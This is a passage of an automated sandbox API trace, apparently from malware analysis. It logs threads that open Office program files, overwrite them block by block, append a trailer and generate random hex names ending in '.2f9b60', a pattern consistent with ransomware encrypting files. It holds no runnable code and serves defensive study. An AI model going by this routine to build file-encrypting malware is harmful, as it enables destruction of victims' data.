[0186.807] ReadFile (in: hFile=0x121c, lpBuffer=0x42953630, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3254f8e0, lpOverlapped=0x0 | out: lpBuffer=0x42953630*, lpNumberOfBytesRead=0x3254f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0187.569] SetFilePointerEx (in: hFile=0x121c, liDistanceToMove=0x16800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5b930 [0187.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307d00 [0187.570] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c9e0 [0187.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c9e0) returned 1 [0187.570] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203af950 [0187.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c9e0 [0187.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa680 [0187.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa680) returned 1 [0187.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307d00) returned 1 [0187.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b930) returned 1 [0187.572] WriteFile (in: hFile=0x121c, lpBuffer=0x203af950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3254f8e0, lpOverlapped=0x0 | out: lpBuffer=0x203af950*, lpNumberOfBytesWritten=0x3254f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203af950) returned 1 [0205.669] SetFilePointerEx (in: hFile=0x121c, liDistanceToMove=0x25fd8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.669] ReadFile (in: hFile=0x121c, lpBuffer=0x42953630, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3254f8e0, lpOverlapped=0x0 | out: lpBuffer=0x42953630*, lpNumberOfBytesRead=0x3254f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.670] SetFilePointerEx (in: hFile=0x121c, liDistanceToMove=0x25fd8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61510 [0205.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205c030 [0205.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c030) returned 1 [0205.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203af950 [0205.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205c030 [0205.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aaa0 [0205.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205aaa0) returned 1 [0205.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61510) returned 1 [0205.674] WriteFile (in: hFile=0x121c, lpBuffer=0x203af950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3254f8e0, lpOverlapped=0x0 | out: lpBuffer=0x203af950*, lpNumberOfBytesWritten=0x3254f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0215.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203af950) returned 1 [0215.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43105750 [0215.063] SetFilePointerEx (in: hFile=0x121c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.063] WriteFile (in: hFile=0x121c, lpBuffer=0x430bd4e0*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x3254f990, lpOverlapped=0x0 | out: lpBuffer=0x430bd4e0*, lpNumberOfBytesWritten=0x3254f990*=0x14a, lpOverlapped=0x0) returned 1 [0218.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61e20 [0218.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e270 [0218.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddba50 [0218.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddba50) returned 1 [0218.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0218.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddba50 [0218.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddba20 [0218.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddba20) returned 1 [0218.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 [0218.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61e20) returned 1 [0218.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431adca0 [0218.948] sprintf (in: _Dest=0x431adca0, _Format="%c%c" | out: _Dest="f6") returned 2 [0218.948] sprintf (in: _Dest=0x431adca2, _Format="%c%c" | out: _Dest="ea") returned 2 [0218.948] sprintf (in: _Dest=0x431adca4, _Format="%c%c" | out: _Dest="4f") returned 2 [0218.949] sprintf (in: _Dest=0x431adca6, _Format="%c%c" | out: _Dest="9f") returned 2 [0218.949] sprintf (in: _Dest=0x431adca8, _Format="%c%c" | out: _Dest="e9") returned 2 [0218.949] sprintf (in: _Dest=0x431adcaa, _Format="%c%c" | out: _Dest="c1") returned 2 [0218.949] sprintf (in: _Dest=0x431adcac, _Format="%c%c" | out: _Dest="eb") returned 2 [0218.949] sprintf (in: _Dest=0x431adcae, _Format="%c%c" | out: _Dest="50") returned 2 [0218.949] sprintf (in: _Dest=0x431adcb0, _Format="%c%c" | out: _Dest="91") returned 2 [0218.949] sprintf (in: _Dest=0x431adcb2, _Format="%c%c" | out: _Dest="af") returned 2 [0218.949] sprintf (in: _Dest=0x431adcb4, _Format="%c%c" | out: _Dest="1b") returned 2 [0218.949] sprintf (in: _Dest=0x431adcb6, _Format="%c%c" | out: _Dest="4e") returned 2 [0218.949] sprintf (in: _Dest=0x431adcb8, _Format="%c%c" | out: _Dest="c3") returned 2 [0218.949] sprintf (in: _Dest=0x431adcba, _Format="%c%c" | out: _Dest="87") returned 2 [0218.949] sprintf (in: _Dest=0x431adcbc, _Format="%c%c" | out: _Dest="5c") returned 2 [0218.949] sprintf (in: _Dest=0x431adcbe, _Format="%c%c" | out: _Dest="80") returned 2 [0218.949] sprintf (in: _Dest=0x431adcc0, _Format="%c%c" | out: _Dest="7b") returned 2 [0218.949] sprintf (in: _Dest=0x431adcc2, _Format="%c%c" | out: _Dest="5a") returned 2 [0218.949] sprintf (in: _Dest=0x431adcc4, _Format="%c%c" | out: _Dest="5b") returned 2 [0218.949] sprintf (in: _Dest=0x431adcc6, _Format="%c%c" | out: _Dest="2f") returned 2 [0218.949] sprintf (in: _Dest=0x431adcc8, _Format="%c%c" | out: _Dest="51") returned 2 [0218.949] sprintf (in: _Dest=0x431adcca, _Format="%c%c" | out: _Dest="25") returned 2 [0218.949] sprintf (in: _Dest=0x431adccc, _Format="%c%c" | out: _Dest="72") returned 2 [0218.949] sprintf (in: _Dest=0x431adcce, _Format="%c%c" | out: _Dest="ab") returned 2 [0218.949] RtlInitAnsiString (in: DestinationString=0x3254fa08, SourceString="f6ea4f9fe9c1eb5091af1b4ec3875c807b5a5b2f512572ab" | out: DestinationString="f6ea4f9fe9c1eb5091af1b4ec3875c807b5a5b2f512572ab") [0218.949] RtlAnsiStringToUnicodeString (in: DestinationString=0x3254f9d8, SourceString="f6ea4f9fe9c1eb5091af1b4ec3875c807b5a5b2f512572ab", AllocateDestinationString=1 | out: DestinationString="f6ea4f9fe9c1eb5091af1b4ec3875c807b5a5b2f512572ab") returned 0x0 [0218.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x431056e0 [0218.950] wcscat (in: _Dest=0x202aefe0, _Source="f6ea4f9fe9c1" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\f6ea4f9fe9c1") returned="C:\\Program Files\\Microsoft Office\\Office14\\f6ea4f9fe9c1" [0218.950] wcscat (in: _Dest=0x202aefe0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\f6ea4f9fe9c1.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\f6ea4f9fe9c1.2f9b60" [0218.950] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\f6ea4f9fe9c1.2f9b60", NtPathName=0x3254f9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\f6ea4f9fe9c1.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x4315e930 Thread: id = 2567 os_tid = 0x2088 [0155.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0011.TLL" (normalized: "c:\\program files\\microsoft office\\office14\\vblz0011.tll")) returned 0x20 [0155.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0011.TLL", dwFileAttributes=0x20) returned 1 [0155.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0011.TLL" (normalized: "c:\\program files\\microsoft office\\office14\\vblz0011.tll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xef8 [0155.688] GetFileSizeEx (in: hFile=0xef8, lpFileSize=0x318bfbc0 | out: lpFileSize=0x318bfbc0*=121312) returned 1 [0155.688] SetFilePointerEx (in: hFile=0xef8, liDistanceToMove=0x1d9dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.688] ReadFile (in: hFile=0xef8, lpBuffer=0x318bfb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x318bfb88, lpOverlapped=0x0 | out: lpBuffer=0x318bfb40*, lpNumberOfBytesRead=0x318bfb88*=0x4, lpOverlapped=0x0) returned 1 [0155.747] SetFilePointerEx (in: hFile=0xef8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb3f0 [0155.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb420 [0155.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb450 [0155.748] NtQuerySystemTime (in: CurrentTime=0x318bfa80 | out: CurrentTime=0x318bfa80*=132462177608746000) returned 0x0 [0155.748] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0x638edfa3 [0155.748] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0x4b83cf90 [0155.748] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0x1564728d [0155.748] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0x7e4b9e7f [0155.748] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0x4bc49dd4 [0155.748] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0x1e047611 [0155.748] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0x9eb1294 [0155.748] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0x11419782 [0155.748] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0x4399c6fb [0155.748] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0x1d06b4ff [0155.748] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0x554ce459 [0155.748] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0x7f62b77d [0155.749] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0x19d4148d [0155.749] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0x662eb76a [0155.749] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0xb1f560e [0155.749] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0x4ac86a6c [0155.749] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0x5c7076a [0155.749] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0x776693b5 [0155.749] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0x1a775ff2 [0155.749] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0x1c08c9c9 [0155.749] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0x4a773383 [0155.749] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0x3e596de3 [0155.749] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0x4e27515b [0155.749] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0x5386c5d0 [0155.749] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0x1ab0519b [0155.749] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0x4798a7ac [0155.749] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0x57cac806 [0155.749] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0xb59283f [0155.749] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0x692f17e5 [0155.749] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0x3041443e [0155.749] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0x3a92774d [0155.749] RtlRandomEx (in: Seed=0x318bfa70 | out: Seed=0x318bfa70) returned 0x3f3461a9 [0155.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb480 [0155.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24320 [0155.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb4b0 [0155.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24320) returned 1 [0155.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb450) returned 1 [0155.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb3f0) returned 1 [0155.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4296daa0 [0155.764] SetFilePointerEx (in: hFile=0xef8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.764] ReadFile (in: hFile=0xef8, lpBuffer=0x4296daa0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x318bfae0, lpOverlapped=0x0 | out: lpBuffer=0x4296daa0*, lpNumberOfBytesRead=0x318bfae0*=0x3c00, lpOverlapped=0x0) returned 1 [0155.940] SetFilePointerEx (in: hFile=0xef8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce188c0 [0155.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce245a0 [0155.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f61f0 [0155.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f61f0) returned 1 [0155.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429a2670 [0155.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f61f0 [0155.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb720 [0155.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb720) returned 1 [0155.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce245a0) returned 1 [0155.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce188c0) returned 1 [0155.944] WriteFile (hFile=0xef8, lpBuffer=0x429a2670, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x318bfae0, lpOverlapped=0x0) [0186.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429a2670) returned 1 [0186.502] SetFilePointerEx (in: hFile=0xef8, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.502] ReadFile (in: hFile=0xef8, lpBuffer=0x4296daa0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x318bfae0, lpOverlapped=0x0 | out: lpBuffer=0x4296daa0*, lpNumberOfBytesRead=0x318bfae0*=0x3c00, lpOverlapped=0x0) returned 1 [0187.257] SetFilePointerEx (in: hFile=0xef8, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bed0 [0187.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307b80 [0187.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbe70 [0187.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbe70) returned 1 [0187.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429e2670 [0187.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbe70 [0187.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbde0 [0187.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbde0) returned 1 [0187.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307b80) returned 1 [0187.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bed0) returned 1 [0187.260] WriteFile (in: hFile=0xef8, lpBuffer=0x429e2670*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x318bfae0, lpOverlapped=0x0 | out: lpBuffer=0x429e2670*, lpNumberOfBytesWritten=0x318bfae0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.574] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429e2670) returned 1 [0205.574] SetFilePointerEx (in: hFile=0xef8, liDistanceToMove=0x19de0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.575] ReadFile (in: hFile=0xef8, lpBuffer=0x4296daa0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x318bfae0, lpOverlapped=0x0 | out: lpBuffer=0x4296daa0*, lpNumberOfBytesRead=0x318bfae0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.576] SetFilePointerEx (in: hFile=0xef8, liDistanceToMove=0x19de0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0205.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb6f0 [0205.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb6f0) returned 1 [0205.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429e2670 [0205.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb6f0 [0205.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb6c0 [0205.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb6c0) returned 1 [0205.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0205.580] WriteFile (in: hFile=0xef8, lpBuffer=0x429e2670*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x318bfae0, lpOverlapped=0x0 | out: lpBuffer=0x429e2670*, lpNumberOfBytesWritten=0x318bfae0*=0x3c00, lpOverlapped=0x0) returned 1 [0214.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429e2670) returned 1 [0214.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43104f00 [0214.892] SetFilePointerEx (in: hFile=0xef8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.892] WriteFile (in: hFile=0xef8, lpBuffer=0x430bc880*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x318bfb90, lpOverlapped=0x0 | out: lpBuffer=0x430bc880*, lpNumberOfBytesWritten=0x318bfb90*=0x14a, lpOverlapped=0x0) returned 1 [0218.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62870 [0218.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e270 [0218.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffc30 [0218.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffc30) returned 1 [0218.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0218.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffc30 [0218.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffc00 [0218.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffc00) returned 1 [0218.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 [0218.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62870) returned 1 [0218.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ad920 [0218.880] sprintf (in: _Dest=0x431ad920, _Format="%c%c" | out: _Dest="77") returned 2 [0218.880] sprintf (in: _Dest=0x431ad922, _Format="%c%c" | out: _Dest="88") returned 2 [0218.880] sprintf (in: _Dest=0x431ad924, _Format="%c%c" | out: _Dest="f7") returned 2 [0218.880] sprintf (in: _Dest=0x431ad926, _Format="%c%c" | out: _Dest="6f") returned 2 [0218.880] sprintf (in: _Dest=0x431ad928, _Format="%c%c" | out: _Dest="ab") returned 2 [0218.880] sprintf (in: _Dest=0x431ad92a, _Format="%c%c" | out: _Dest="1a") returned 2 [0218.880] sprintf (in: _Dest=0x431ad92c, _Format="%c%c" | out: _Dest="3f") returned 2 [0218.880] sprintf (in: _Dest=0x431ad92e, _Format="%c%c" | out: _Dest="e3") returned 2 [0218.880] sprintf (in: _Dest=0x431ad930, _Format="%c%c" | out: _Dest="13") returned 2 [0218.880] sprintf (in: _Dest=0x431ad932, _Format="%c%c" | out: _Dest="df") returned 2 [0218.880] sprintf (in: _Dest=0x431ad934, _Format="%c%c" | out: _Dest="22") returned 2 [0218.880] sprintf (in: _Dest=0x431ad936, _Format="%c%c" | out: _Dest="8f") returned 2 [0218.880] sprintf (in: _Dest=0x431ad938, _Format="%c%c" | out: _Dest="55") returned 2 [0218.880] sprintf (in: _Dest=0x431ad93a, _Format="%c%c" | out: _Dest="13") returned 2 [0218.880] sprintf (in: _Dest=0x431ad93c, _Format="%c%c" | out: _Dest="43") returned 2 [0218.880] sprintf (in: _Dest=0x431ad93e, _Format="%c%c" | out: _Dest="27") returned 2 [0218.880] sprintf (in: _Dest=0x431ad940, _Format="%c%c" | out: _Dest="5c") returned 2 [0218.880] sprintf (in: _Dest=0x431ad942, _Format="%c%c" | out: _Dest="5c") returned 2 [0218.880] sprintf (in: _Dest=0x431ad944, _Format="%c%c" | out: _Dest="15") returned 2 [0218.880] sprintf (in: _Dest=0x431ad946, _Format="%c%c" | out: _Dest="37") returned 2 [0218.880] sprintf (in: _Dest=0x431ad948, _Format="%c%c" | out: _Dest="2a") returned 2 [0218.880] sprintf (in: _Dest=0x431ad94a, _Format="%c%c" | out: _Dest="ab") returned 2 [0218.881] sprintf (in: _Dest=0x431ad94c, _Format="%c%c" | out: _Dest="6b") returned 2 [0218.881] sprintf (in: _Dest=0x431ad94e, _Format="%c%c" | out: _Dest="bb") returned 2 [0218.881] RtlInitAnsiString (in: DestinationString=0x318bfc08, SourceString="7788f76fab1a3fe313df228f551343275c5c15372aab6bbb" | out: DestinationString="7788f76fab1a3fe313df228f551343275c5c15372aab6bbb") [0218.881] RtlAnsiStringToUnicodeString (in: DestinationString=0x318bfbd8, SourceString="7788f76fab1a3fe313df228f551343275c5c15372aab6bbb", AllocateDestinationString=1 | out: DestinationString="7788f76fab1a3fe313df228f551343275c5c15372aab6bbb") returned 0x0 [0218.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x43104e90 [0218.881] wcscat (in: _Dest=0x431a2610, _Source="7788f76fab1a" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\7788f76fab1a") returned="C:\\Program Files\\Microsoft Office\\Office14\\7788f76fab1a" [0218.881] wcscat (in: _Dest=0x431a2610, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\7788f76fab1a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\7788f76fab1a.2f9b60" [0218.881] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\7788f76fab1a.2f9b60", NtPathName=0x318bfbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\7788f76fab1a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x4310a400 Thread: id = 2568 os_tid = 0x208c [0155.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBS2EXCL.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\vbs2excl.xsl")) returned 0x20 [0155.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBS2EXCL.XSL", dwFileAttributes=0x20) returned 1 [0155.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBS2EXCL.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\vbs2excl.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1210 [0155.692] GetFileSizeEx (in: hFile=0x1210, lpFileSize=0x3263fac0 | out: lpFileSize=0x3263fac0*=4296) returned 1 [0155.692] SetFilePointerEx (in: hFile=0x1210, liDistanceToMove=0x10c4, lpNewFilePointer=0x0, 